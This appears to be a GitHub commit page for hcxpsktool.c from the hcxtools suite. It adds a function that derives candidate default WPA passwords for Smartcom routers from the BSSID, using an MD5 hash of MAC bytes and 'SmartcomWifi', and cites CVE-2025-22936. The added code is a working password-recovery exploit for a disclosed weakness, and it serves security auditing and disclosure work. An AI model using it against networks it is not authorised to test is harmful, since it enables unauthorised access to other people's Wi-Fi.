Skip to content

Commit da4b998

Browse files
authored
Merge pull request #351 from RealEnder/smartcom
Add Smartcom generator (CVE-2025-22936)
2 parents 9af4d8c + a473855 commit da4b998

File tree

1 file changed

+45
-0
lines changed

1 file changed

+45
-0
lines changed

hcxpsktool.c

+45
Original file line numberDiff line numberDiff line change
@@ -2410,6 +2410,50 @@ if(oui == 0x000559)
24102410
return;
24112411
}
24122412
/*===========================================================================*/
2413+
/* source: CVE-2025-22936, https://sec.stanev.org/advisories/Smartcom_default_WPA_password.txt */
2414+
static void test50a9de(FILE *fhout, unsigned long long int macaddr)
2415+
{
2416+
static int i, j;
2417+
static unsigned long long int part;
2418+
static EVP_MD_CTX* mdctx;
2419+
static uint8_t digestmd5[EVP_MAX_MD_SIZE];
2420+
static unsigned int digestmd5len;
2421+
static char message[21];
2422+
2423+
part = macaddr & 0xffffff000000L;
2424+
part = part >> 24;
2425+
if(part == 0x50a9de)
2426+
{
2427+
mdctx = EVP_MD_CTX_create();
2428+
if(mdctx == NULL) return;
2429+
2430+
for (i = 0; i > -2; i--)
2431+
{
2432+
part = (macaddr + i) & 0xffffffffL;
2433+
snprintf(message, sizeof(message), "%08llxSmartcomWifi", part);
2434+
if(EVP_DigestInit_ex(mdctx, EVP_md5(), NULL) == 0)
2435+
{
2436+
EVP_MD_CTX_free(mdctx);
2437+
return;
2438+
}
2439+
if(EVP_DigestUpdate(mdctx, message, sizeof(message) - 1) == 0)
2440+
{
2441+
EVP_MD_CTX_free(mdctx);
2442+
return;
2443+
}
2444+
if(EVP_DigestFinal_ex(mdctx, digestmd5, &digestmd5len) == 0)
2445+
{
2446+
EVP_MD_CTX_free(mdctx);
2447+
return;
2448+
}
2449+
for (j = 0; j < 4; j++) fprintf(fhout, "%02x", digestmd5[j]);
2450+
fprintf(fhout, "\n");
2451+
}
2452+
EVP_MD_CTX_free(mdctx);
2453+
}
2454+
return;
2455+
}
2456+
/*===========================================================================*/
24132457
static void preparebssid(FILE *fhout, unsigned long long int macaddr)
24142458
{
24152459
static int c;
@@ -2462,6 +2506,7 @@ swap = (nic >> 8) & 0xffff;
24622506
fprintf(fhout, "%s\n", pskstring);
24632507
}
24642508
test000559(fhout, macaddr);
2509+
test50a9de(fhout, macaddr);
24652510
return;
24662511
}
24672512
/*===========================================================================*/

0 commit comments

Comments
 (0)